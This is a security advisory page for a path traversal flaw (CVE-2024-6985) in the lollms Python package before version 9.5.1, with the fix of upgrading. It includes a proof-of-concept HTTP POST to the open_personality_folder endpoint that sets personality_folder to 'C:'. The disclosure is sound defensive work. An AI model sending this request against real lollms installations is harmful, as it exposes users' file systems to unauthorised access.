Relative Path Traversal Affecting lollms package, versions [,9.5.1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-LOLLMS-8184991
- published 13 Oct 2024
- disclosed 11 Oct 2024
- credit HaiNguyen
Introduced: 11 Oct 2024
CVE-2024-6985 Open this link in a new tabHow to fix?
Upgrade lollms to version 9.5.1 or higher.
Overview
lollms is a python library for AI personality definition
Affected versions of this package are vulnerable to Relative Path Traversal due to improper sanitization of the personality_folder parameter. An attacker can read any folder in the personality_folder on the victim's computer by exploiting the ability to traverse directories and access arbitrary files through the open_personality_folder endpoint.
PoC
POST /open_personality_folder HTTP/1.1
Host: localhost:9600
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 69
Origin: http://localhost:9600
Connection: keep-alive
Referer: http://localhost:9600/settings/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{"client_id":"lv_imM87gAzRhpylAAAB","personality_folder":"C:"}